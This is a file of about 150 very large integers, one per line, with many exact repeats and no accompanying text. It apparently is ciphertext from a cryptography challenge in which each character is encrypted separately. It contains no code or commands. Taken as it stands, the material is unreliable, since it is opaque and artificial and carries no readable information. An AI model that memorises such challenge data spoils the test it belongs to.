65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
93193845131988228644484899443386837473017866469422349255542037992094227046793693881682979131489608844822784059542911823214294551190035941959174418494660058831653040650832634034284220560765526772070524776041227316124183428503723250186862064463249419845278441607117428255167936507102806898566227917772967961794
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
49753325574865445089772669052891000483752580109613466912771010336607847769281978866460532307952123513083663621765806989683259320224009128424843195798482983529142744938925210736045258659747179875853414003793568639616690520031318358365189672329709227585258829062097623252983992310067500221135568184405349569803
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
52738942978973710444499335094212648235649553500556751113739197966703795929812811872109367849897530719672461613584621227749748743159637124450463765170082743722510939526614783513725649879214102056611979549051428017108970249709601910597007002954025453070108883580204888981915050470487690016926730906263560750604
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
4182669348045269791254444104622750379376825748164589688688917405611067685879473543635386042921454535628915404264820793209948561919050475943517314854567616375314489289931988461469983115038328954579926992023989065641892802210559142402542318857874412395884224371766870024021473348650171148389070499526981719281
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
93193845131988228644484899443386837473017866469422349255542037992094227046793693881682979131489608844822784059542911823214294551190035941959174418494660058831653040650832634034284220560765526772070524776041227316124183428503723250186862064463249419845278441607117428255167936507102806898566227917772967961794
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
5773835752867135742860586525565658315475915068619521277950089759587819563536944805510903146409067987340304998621501840196103691201360565427014426065168921252922005079427002966050825114334985040879902482157259153063546013516640746407961509405884392134856989881966012190857396495365396996099827624027096856061
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
19983809701621831135088221996221784300998234690565487842061647521986793674239632248612015804290992839590280719557841141355098145874855168937833787271184484791582836089661751365862495651088974077048520938236610785599994938659130037316606004207376328174173906815136855549837338097232904522744461148710841694256
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
4182669348045269791254444104622750379376825748164589688688917405611067685879473543635386042921454535628915404264820793209948561919050475943517314854567616375314489289931988461469983115038328954579926992023989065641892802210559142402542318857874412395884224371766870024021473348650171148389070499526981719281
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
62801529337830164688667725322013807337730829995283145726245637501724225331664768835038305986060768494873211708381922699272515864262971627208174943851264077906254570161389679470403844058900863238814911592475705518546485028952389529393704650759569972808052161826493176719258661840108823546364212066123810996235
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
19983809701621831135088221996221784300998234690565487842061647521986793674239632248612015804290992839590280719557841141355098145874855168937833787271184484791582836089661751365862495651088974077048520938236610785599994938659130037316606004207376328174173906815136855549837338097232904522744461148710841694256
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133604854587983782426336851966055180766137238380213738755612754580571873477141746262470197566499595456763533768810119497776657303036926536439596312800476267916952408133055363765789592858440156479910321961287737605889088257914313717722526470918375313652500001060195495792645858466367996395114867945227571389228
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
